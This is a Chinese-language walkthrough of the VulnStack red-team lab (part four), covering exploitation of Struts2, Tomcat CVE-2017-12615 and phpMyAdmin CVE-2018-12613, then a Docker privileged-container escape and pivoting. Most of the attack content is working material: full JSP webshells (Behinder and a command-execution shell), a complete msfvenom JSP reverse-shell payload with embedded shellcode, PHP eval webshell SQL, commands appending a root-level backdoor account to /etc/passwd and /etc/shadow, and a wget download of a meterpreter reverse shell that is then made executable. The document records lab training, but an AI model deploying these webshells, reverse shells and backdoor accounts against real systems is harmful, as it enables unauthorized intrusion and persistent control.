VulnStack - ATT&CK红队评估实战(四) Writeup
VulnStack - ATT&CK红队评估实战(四) Writeup
VulnStack(四)环境搭建
1、项目地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
2、网络拓扑

| 机器名称 | 网卡VMnet4 | 网卡VMnet3 | 账号密码 |
|---|---|---|---|
| web_ubuntu | 192.168.157.132 | 192.168.183.133 | ubuntu:ubuntu |
| 域成员 | 无 | 192.168.183.128 | douser:Dotest123 |
| 域控 | 无 | 192.168.183.130 | administrator:Test2008 |
| Kali | 192.168.157.129 | 无 | kali:kali |
| 物理机 | 192.168.157.1 | 无 | 略 |
3、环境说明
下载回来有三个虚拟机(虚拟机所有统一密码: ccccc):
VMnet3 不勾选 将主机虚拟适配器连接到此网络(V),主机虚拟适配器名称: VMware 网络适配器VMnet3 => 构造存内网环境(连物理机都无法通信)
①虚拟网络编辑器配置如下


②web_ubuntu环境配置
(192.168.157.132/192.168.183.133)




sudo docker images
sudo docker ps
sudo docker ps -a


sudo docker start ec 17 09 bb da 3d ab ad 报错信息不用管
sudo docker ps

至此,ubuntu环境正式搭建完成!
③win7环境配置
(192.168.183.128)douser:Dotes123
导入成功之后,开启输入密码是可以进行登录的(因为内存中有缓存),如果你重启了电脑,就会导致内存清除,并且电脑是脱域的状态,即使输入正确密码也无法登录成功。只好重新导入环境。又由于我们要修改IP信息(由于是脱域状态,即使输入正确密码也没用),加入域,因此,我们在搭建环境时先手动提权,这里使用MS-16-135。
手动上传MS16-135




给启用本地用户,我们要修改IP信息

登入 TESTWIN7-PC\administrator:Admin@123 ,修改IP

此时我们再次切换用户,进入域用户,可以看见IP已经自动配置好了

④DC环境配置
(192.168.183.130)administrator:Test2008 修改成-> Admin@123

4、WP、漏洞讲解
优秀WP:
略
5、最初的已知条件
已知一个目标IP为192.168.157.132
拿下web_ubuntu上的docker容器
1、信息收集
nmap.exe 192.168.157.132
nmap.exe -A -p 22,2001,2002,2003 -T 4 192.168.157.132 --script=default


2、struts2框架漏洞利用拿shell(2001)
①页面浏览
访问 http://192.168.157.132:2001


②框架漏洞扫描
通过简单的nmap、页面源代码和网页标题可知,该网站使用struts2的框架。使用对应的框架漏洞扫描工具:


扫描结果具体如下:
---->由于未设置DNSLog值(仍是原始值:xxxxxx.com),程序跳过针对Struts2框架下Log4j2漏洞的检测<----
POST方法,目标调试模式未开启, 响应码: 200
POST方法,目标调试模式未开启, 响应码: 200
POST方法,S2-061/062不存在, 响应码: 200
POST方法,Strust2调试模式代码执行漏洞-1不存在, 响应码: 200
POST方法,Strust2调试模式代码执行漏洞-2不存在, 响应码: 200
POST方法,S2-057-1漏洞不存在, 响应码: 500
POST方法,S2-057-2漏洞不存在, 响应码: 500
POST方法,S2-057-3漏洞不存在, 响应码: 500
POST方法,S2-046-bypass漏洞存在!!!,程序更改为S2-046-bypass漏洞测试模式, 响应码: 200
POST方法,S2-046-1漏洞存在!!!,程序更改为S2-046-1漏洞测试模式, 响应码: 200
POST方法,S2-046-2漏洞存在!!!,程序更改为S2-046-2漏洞测试模式, 响应码: 200
POST方法,S2-046-3漏洞存在!!!,程序更改为S2-046-3漏洞测试模式, 响应码: 200
POST方法,S2-045-bypass漏洞存在!!!,程序更改为S2-045-bypass漏洞测试模式, 响应码: 200
POST方法,S2-045-bypass-2漏洞存在!!!,程序更改为S2-045-bypass-2漏洞测试模式, 响应码: 200
POST方法,S2-045-1漏洞存在!!!,程序更改为S2-045-1漏洞测试模式, 响应码: 200
POST方法,S2-045-2漏洞存在!!!,程序更改为S2-045-2漏洞测试模式, 响应码: 200
POST方法,S2-045-3漏洞存在!!!,程序更改为S2-045-3漏洞测试模式, 响应码: 200
POST方法,S2-045-4漏洞存在!!!,程序更改为S2-045-4漏洞测试模式, 响应码: 200
POST方法,S2-016漏洞不存在, 响应码: 200
POST方法,S2-016_3漏洞不存在, 响应码: 200
POST方法,S2-016_4-(unicode编码形式)-漏洞不存在, 响应码: 200
POST方法,S2-017漏洞不存在, 响应码: 200
POST方法,S2-019漏洞不存在, 响应码: 200
POST方法,S2-0192-(脏数据填充、关键字拆分方式)-漏洞不存在, 响应码: 200
POST方法,S2-020漏洞不存在, 响应码: 200
POST方法,S2-021漏洞不存在, 响应码: 200
POST方法,S2-032漏洞不存在, 响应码: 200
POST方法,S2-032-2漏洞不存在, 响应码: 200
POST方法,S2-037漏洞不存在, 响应码: 404
POST方法,S2-DevMode-1漏洞不存在, 响应码: 200
POST方法,S2-DevMode-2漏洞不存在, 响应码: 200
POST方法,S2-005漏洞不存在, 响应码: 200
POST方法,S2-009漏洞不存在, 响应码: 200
POST方法,S2-053漏洞不存在, 响应码: 200
POST方法,S2-048-2漏洞不存在, 响应码: 200
POST方法,S2-048漏洞不存在, 响应码: 200
POST方法,S2-001漏洞不存在
POST方法,S2-013漏洞不存在, 响应码: 200
POST方法,S2-XSS-1漏洞不存在, 响应码: 200
POST方法,S2-XSS-2漏洞不存在, 响应码: 200
whoami:root
当前路径:/usr/src/src/main/webapp
③漏洞利用
方法一:任意命令执行漏洞
S2-045-bypass漏洞利用:

S2-046-bypass漏洞利用:

方法二:通过上传冰蝎的jsp马获取shell
在漏洞编号为S2-045当中任意一个上传jsp木马,均可成功:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>




方法三:通过上传内存jsp马获取shell
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.157.129 LPORT=4444 -f jsp > shell.jsp
cat shell.jsp


内存马shell.jsp如下:
┌──(root㉿kali)-[~]
└─# cat shell.jsp
<%@ page import="java.io.*" %>
<%
String akUWgjLOv = "7f454c4602010100000000000000000002003e0001000000780040000000000040000000000000000000000000000000000000004000380001000000000000000100000007000000000000000000000000004000000000000000400000000000fa000000000000007c01000000000000001000000000000031ff6a095899b6104889d64d31c96a22415a6a075a0f054885c078516a0a4159506a2958996a025f6a015e0f054885c0783b489748b90200115cc0a89d81514889e66a105a6a2a580f05594885c0792549ffc97418576a23586a006a054889e74831f60f0559595f4885c079c76a3c586a015f0f055e6a7e5a0f054885c078edffe6";
String mbEAKFQQXbe = System.getProperty("java.io.tmpdir") + "/nXbnQQfs";
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
mbEAKFQQXbe = mbEAKFQQXbe.concat(".exe");
}
int WyDvVOypUnL = akUWgjLOv.length();
byte[] JdNEyjzvloIzi = new byte[WyDvVOypUnL/2];
for (int ZmlOADDDmV = 0; ZmlOADDDmV < WyDvVOypUnL; ZmlOADDDmV += 2) {
JdNEyjzvloIzi[ZmlOADDDmV / 2] = (byte) ((Character.digit(akUWgjLOv.charAt(ZmlOADDDmV), 16) << 4)
+ Character.digit(akUWgjLOv.charAt(ZmlOADDDmV+1), 16));
}
FileOutputStream JjoJrhXvn = new FileOutputStream(mbEAKFQQXbe);
JjoJrhXvn.write(JdNEyjzvloIzi);
JjoJrhXvn.flush();
JjoJrhXvn.close();
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){
String[] WRnWfupsRPaBxWW = new String[3];
WRnWfupsRPaBxWW[0] = "chmod";
WRnWfupsRPaBxWW[1] = "+x";
WRnWfupsRPaBxWW[2] = mbEAKFQQXbe;
Process VjNoUVryHeFLZDy = Runtime.getRuntime().exec(WRnWfupsRPaBxWW);
if (VjNoUVryHeFLZDy.waitFor() == 0) {
VjNoUVryHeFLZDy = Runtime.getRuntime().exec(mbEAKFQQXbe);
}
File hedvKXGN = new File(mbEAKFQQXbe); hedvKXGN.delete();
} else {
String[] JwLATwGbUQTMI = new String[1];
JwLATwGbUQTMI[0] = mbEAKFQQXbe;
Process VjNoUVryHeFLZDy = Runtime.getRuntime().exec(JwLATwGbUQTMI);
}
%>

3、Tomcat/8.5.19任意文件上传拿shell(2002)
①网页浏览
访问 http://192.168.157.132:2002

②框架漏洞扫描

③漏洞利用
Apache Tomcat: Examples File漏洞
链接地址:http://192.168.157.132:2002/examples/servlets/servlet/SessionExample
Apache Tomcat: CVE-2017-12615漏洞
方法一:上传rce的木马
<%
if("666".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
抓取带有目录的数据包,并修改成如下样子,比如:
- GET /host-manager/html HTTP/1.1 => PUT /rec.jsp/ HTTP/1.1
- 数据包的内容写上rce的木马

在参数 i= 后边修改命令即可(记得命令要进行编码后写入哦):

对于/rec.jsp/,如果不写最后面的/将会无法上传成功,这里绕过文件上传的有几个思路:
上传文件后缀名加/
上传文件名后缀加::$DATA
上传文件后缀名加%20
上传文件名后缀加.
方法二:CVE-2017-12615.py文件一键拿shell


方法三:上传冰蝎的木马拿shell
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>


4、phpMyAdmin 4.8.1远程文件包含拿shell(2003)
①网页浏览
访问 http://192.168.157.132:2003 ,发现是个未授权的phpMyAdmin,且版本为4.8.1

②浏览器搜索 phpMyAdmin 4.8.1 ,看看是否存在历史漏洞:

参考文章:
https://blog.csdn.net/qq_45521281/article/details/105788084
https://blog.csdn.net/qq_45521281/article/details/105780497
③漏洞利用(CVE-2018-12613)
CVE-2018-12613漏洞测试:
/* 方法一 */
http://192.168.157.132:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
/* 方法二 */
http://192.168.157.132:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../Windows/DATE.ini

那么这该怎么getshell,思路如下:在test库中插入一张表,在表中插入木马,然后访问它的session文件即可
方法一:远程文件包含漏洞包含phpinfo信息
①test中插入shell表:

②表中插入木马:


③打开F12,查看Cookie文件名 Set-Cookie:phpMyAdmin=84f82911b014d4d0b2e9c6eff4a61ca4; path=/; HttpOnly

④构造payload,并且访问:
http://192.168.157.132:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_84f82911b014d4d0b2e9c6eff4a61ca4

方法二:利用低版本phpMyAdmin特性,直接写入木马,并包含
select '<?php file_put_contents("shell.php", "<?php @eval(\$_POST[1]);?>");?>';
或者select '<?php eval($_POST[cmd]); ?>' into outfile 'shell1.php'; #要求当前用户对MySQL数据库具有写入文件的权限,因此在该环境中无法使用

访问后效果如下:
http://192.168.157.132:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_8ec5ae2ed08cd9d8a086e9cb0d0e923f

由于我们写入了shell.php,且参数为1,那么post传参即可:

蚁剑连接即可


利用phpMyAdmin 4.8.1后台文件包含漏洞,获取登录phpmyadmin系统所产生的sess_sessionID文件,然后通过文件绕过获取相关信息并植入木马,最终获取webshell。通常linux系统中存放路径为/tmp/sess_[当前会话session值]。同时,此漏洞是登陆后才可以使用的,比较鸡肋。一般登陆后直接执行SQL语句生成shell即可,但有时目录权限比较严格,不能在WEB目录内生成,则可以结合本例使用。
tips:如果没做过设置,session文件默认是在/var/lib/php/sessions/目录下,文件名是sess_加上你的session字段。(没有权限)
而一般情况下,phpmyadmin的session文件会设置在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp。
5、发现问题
发现网络信息对不上!那么,可以判断是否为 docker 环境
ls -alh /.dockerenv # 查看是否存在 .dockerrnv 这个隐藏文件
cat /proc/1/cgroup # 查看系统进程的cgroup信息
随便进入一台拿下的shell,输入命令后发现,确实,三个容器均为docker环境

docker逃逸,拿下ubuntu(192.168.157.132)
参考文章:https://blog.csdn.net/web15185420056/article/details/123732933
1、利用特权模式进行docker逃逸原理
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
2、2001、2003漏洞利用
查看磁盘文件 fdisk -l ,发现根本就没有挂载磁盘文件(挂载磁盘文件为空),因此,该方法无法使用。尝试了其他逃逸的方法,也无法满足逃逸所需功能,该容器也无法逃逸。


3、2002漏洞利用
想启动终端执行,可是这台设备根本无法使用,这里也可以选择冰蝎自带的反弹shell:

记得多点击几下 给我连 哦:


但是又由于这台docker容器当中没有安装python的环境,因此,无法使用命令 python -c 'import pty; pty.spawn("/bin/bash")' 来获得伪终端。

在这里我就直接使用冰蝎自带的命令执行功能。
①查看磁盘文件挂载情况
fdisk -l
发现磁盘文件当中有内容,我们重点看第一条/dev/sda1 * 2048 16779263 16777216 8G 83 Linux,因为Linux一切皆文件,这一条信息是表示着宿主机的真实情况,因此我们就是要利用这一点

②挂载磁盘
将/dev/sda1也就是(宿主机)磁盘挂在到(docker)本地的任意文件下
cd /tmp
mkdir true # 用于存放宿主机的磁盘文件
mount /dev/sda1 /tmp/true # 此时这个true文件夹就相当于宿主机的根目录,可以进行文件操作。

③测试效果
此时 当前目录下的 true = 宿主机的/ ,且只能在docker环境的/tmp目录下才可这样访问。由于我们docker环境是以root用户逃逸出来的,因此通过此方法,我们在docker当中使用root用户权限访问true这个目录相当于在宿主机上使用root用户权限访问、操作任意文件。
/tmp/ >cat true/etc/passwd
/tmp/ >cat true/etc/shadow


④尝试远程连接宿主机
(法一)
既然可以直接操作文件了,尝试写入一个root用户,尝试ssh。先看看宿主机版本信息:

通过 cat true/etc/issue 发现,当前宿主机是一个ubuntu环境。那么我们现在自己开一台ubuntu,在ubuntu上创建用户,通过ubuntu创建用户、密码来确保与靶机的信息一致。
1、自己的ubuntu上添加用户、密码
useradd root1 => root1:x:1001:1001::/home/root1:/bin/bash
passwd root1 => root1:$6$t7qeLYz2mOvV35Id$ecJ2BukXH0sbigd8hJfhj6K3c.cY/fpeJWie0DOKNnHgG5pVucXGNkiIaIlQc7vkgbcP7UpLIRS7Q9GPi2MXJ1:19602:0:99999:7:::
最终可以登入的账号密码信息如下,
root1, root1
2、篡改账户密码信息,改为高权限
useradd root1 => root1:x:0:0::/home/root1:/bin/bash
passwd root1 => root1:$6$t7qeLYz2mOvV35Id$ecJ2BukXH0sbigd8hJfhj6K3c.cY/fpeJWie0DOKNnHgG5pVucXGNkiIaIlQc7vkgbcP7UpLIRS7Q9GPi2MXJ1:19602:0:99999:7:::
3、写入宿主机后发现问题
$符 一定一定一定要记得加\转义
echo "root1:x:0:0::/home/root1:/bin/bash" >> true/etc/passwd
echo "root1:\$6\$t7qeLYz2mOvV35Id\$ecJ2BukXH0sbigd8hJfhj6K3c.cY/fpeJWie0DOKNnHgG5pVucXGNkiIaIlQc7vkgbcP7UpLIRS7Q9GPi2MXJ1:19602:0:99999:7:::" >> true/etc/shadow




通过写入特权账户,发现ssh可以登入,但是root权限登录不上,怀疑可能是禁止root登录。那么还是使用同样的方法,写入普通用户尝试ssh登入
4、写入普通用户
到这一步,环境问题是一个很大的问题,一定一定要注意!!!由于实验一直报错,就先写入普通用户的权限,后写入高权限。
useradd carmi => carmi:x:1001:1001::/home/carmi:/bin/bash
passwd carmi => $6$Wq85Td6z2LVi/yF4$5y2TqaZGb33UMLSMbj4OGpsk5NgQ1yj3YsbZI2N42oylxlyJix7VL3Z34NzxS.qegC/3aSbK8onLL7vCtaC7.1:19602:0:99999:7:::
可登入账号carmi,密码carmi这个用户
写入:
echo "carmi:x:1001:1001::/home/carmi:/bin/bash" >> true/etc/passwd
echo "carmi:\$6\$Wq85Td6z2LVi/yF4\$5y2TqaZGb33UMLSMbj4OGpsk5NgQ1yj3YsbZI2N42oylxlyJix7VL3Z34NzxS.qegC/3aSbK8onLL7vCtaC7.1:19602:0:99999:7:::" >> true/etc/shadow



5、远程连接普通用户

6、提权
由于我们更改写入了高权限用户,有知道账户密码,那么直接切换用户即可完成提权

⑤将ubuntu上线到msf
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.157.129 lport=8888 -f elf > shell.elf
python -m http.server 8001

cd /tmp
which wget
wget http://192.168.157.129:8001/shell.elf # curl -O http://192.168.157.129:8001/shell.elf也可以
chmod 777 shell.elf

msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.157.129
set lport 8888
run

内网渗透
1、内网信息收集
通过meterpreter上传fscan_amd64
meterpreter > upload /home/kali/Desktop/fscan_amd64 /tmp
root@ubuntu:/tmp# cd /tmp
root@ubuntu:/tmp# chmod 777 fscan_amd64
root@ubuntu:/tmp# ./fscan_amd64

./fscan_amd64 -h 192.168.157.0/24 # 已经没用什么价值了
./fscan_amd64 -h 192.168.183.0/24

2、建立EW隧道
EW(蚯蚓突破)是一款功能强大的网络穿透工具,它具备SOCKS5服务架设和端口转发两大核心功能,能够应对复杂的网络环境,并实现网络穿透。通过正向、反向、多级级联等方式,EW可以在防火墙限制下创建网络隧道,达到访问内网资源的目的。
EW的主要特点如下:
- 跨平台支持:EW提供了多种可执行文件,支持Linux、Windows、MacOS和Arm-Linux等操作系统,实现了广泛的平台兼容性。
- 强大的穿透能力:EW能够实现正向、反向、多级级联等多种穿透方式,可根据不同的网络环境进行灵活配置。
- 高效的端口转发:用户可通过EW的端口转发功能实现内外网之间的通信,方便用户访问内网资源。
- SOCKS5服务架设:通过EW的SOCKS5代理服务,用户可以在复杂网络环境下进行安全、高效的网络访问。
- 简单易用:EW的使用方法相对简单,用户只需根据需求进行基本配置即可实现网络穿透
…………
由于水平不足,暂时就写到这把。
VulnStack - ATT&CK红队评估实战(四) Writeup的更多相关文章
- ATT&CK红队评估实战靶场(一)
靶机下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 攻击拓扑如下 0x01环境搭建 配置两卡,仅主机模式192.168.52.0网段模拟内 ...
- ATK&CK红队评估实战靶场 (一)的搭建和模拟攻击过程全过程
介绍及环境搭建 靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2 官方靶机说明: 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练 ...
- 靶机练习 - ATT&CK红队实战靶场 - 1. 环境搭建和漏洞利用
最近某个公众号介绍了网上的一套环境,这个环境是多个Windows靶机组成的,涉及到内网渗透,正好Windows和内网渗透一直没怎么接触过,所以拿来学习下. 下载地址:http://vulnstack. ...
- vulstack红队评估(四)
一.环境搭建: ①根据作者公开的靶机信息整理 虚拟机密码: ubuntu: ubuntu:ubuntu win7: douser:Dotest123 Win2008 DC: administr ...
- vulstack红队评估(五)
一.环境搭建: ①根据作者公开的靶机信息整理 虚拟机密码: Win7: heart 123.com #本地管理员用户 sun\Administrator dc123.com #域管用户,改 ...
- vulstack红队评估(一)
一.环境搭建: 1.根据作者公开的靶机信息整理: 虚拟机初始所有统一密码:hongrisec@2019 因为登陆前要修改密码,改为了panda666... 2.虚拟网卡网络配置: ①Win7双 ...
- vulstack红队评估(三)
一.环境搭建: ①根据作者公开的靶机信息整理 没有虚拟机密码,纯黑盒测试...一共是5台机器,目标是拿下域控获取flag文件 ②虚拟机网卡设置 centos双网卡模拟内外网: 外网:192.168 ...
- vulstack红队评估(二)
一.环境搭建: 1.根据作者公开的靶机信息整理: 靶场统一登录密码:1qaz@WSX 2.网络环境配置: ①Win2008双网卡模拟内外网: 外网:192.168.1.80,桥接模式与物理机相 ...
- ATT&CK实战系列 红队实战(一)————环境搭建
首先感谢红日安全团队分享的靶机实战环境.红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博客三位一体学习. 靶机下载地址:http://vulnstack.qiyuanxue ...
- ATT&CK 实战 - 红日安全 vulnstack (一) 环境部署
靶场描述: 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博客三位一体学习.另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环.后续也会搭建真实APT实 ...
随机推荐
- asp.net WebApi JWT
文章转自 https://blog.csdn.net/liwan09/article/details/83820651 参考资料: https://docs.microsoft.com/en-us/a ...
- 代码随想录算法训练营Day37 贪心算法
代码随想录算法训练营 代码随想录算法训练营Day37 贪心算法| 738.单调递增的数字 968.监控二叉树 总结 738.单调递增的数字 题目链接:738.单调递增的数字 给定一个非负整数 N,找出 ...
- celery笔记一之celery介绍、启动和运行结果跟踪
本文首发于公众号:Hunter后端 原文链接:celery笔记一之celery介绍.启动和运行结果跟踪 本篇笔记内容如下: celery 介绍 celery 准备 celery 启动和异步任务的运行 ...
- element-ui Tabs 标签页刷新页面状态不丢失
element-ui Tabs 标签页刷新页面状态不丢失 转载请表明出处 https://www.cnblogs.com/niexianda/p/14765111.html 效果 一般在使用Tabs组 ...
- java BigDecimal解决浮点数的精度丢失和大数计算问题
java BigDecimal解决浮点数的精度丢失和大数计算问题 抛出浮点数问题: 先考个题,输入什么? System.out.println(0.1 + 0.2); 答案:0.30000000000 ...
- 一键搞定发布自己Jar到Maven中央仓库
做java 开发那当然离不开jar包管理, 不知何时一直想想封装一个自己的jar包 然后发布到maven中央仓库给别人使用. hhh 我感觉自己写一个jar包工具然后,被很多人使用是一件很牛,很快乐事 ...
- Atcoder ABC244E - King Bombee 题解
原题: Atcoder ABC244E - King Bombee 题意 给你一张图,从 \(S\) 到 \(T\),经过 \(k\) 条边, 经过 \(X\) 号点偶数次的方案数. 做法 设 \(f ...
- 【ssh】SSH连接远程主机的两种方式
一.基于用户名与密码连接 指令 ssh username@server_ip 随后要求输入密码 加密流程 1️⃣ 在SSH连接建立过程中,客户端和服务器使用Diffie-Hellman密钥交换协议协商 ...
- 即构✖叮咚课堂:行业第一套AI课堂解决方案是怎么被实现的?
AI走进教育,是传统教育的一次迭代进化 在教育问题上,我们看到两类话题最容易引发公众讨论:教育公平和个性化教育,"互联网+教育"有可能解决第一类话题,"AI教育" ...
- Navicat 连接Oracle ORA-28547: connection to server failed, probable Oracle Net admin error
Navicat 连接 Oracle 报 ORA-03135: connection lost contact ORA-28547: connection to server failed, proba ...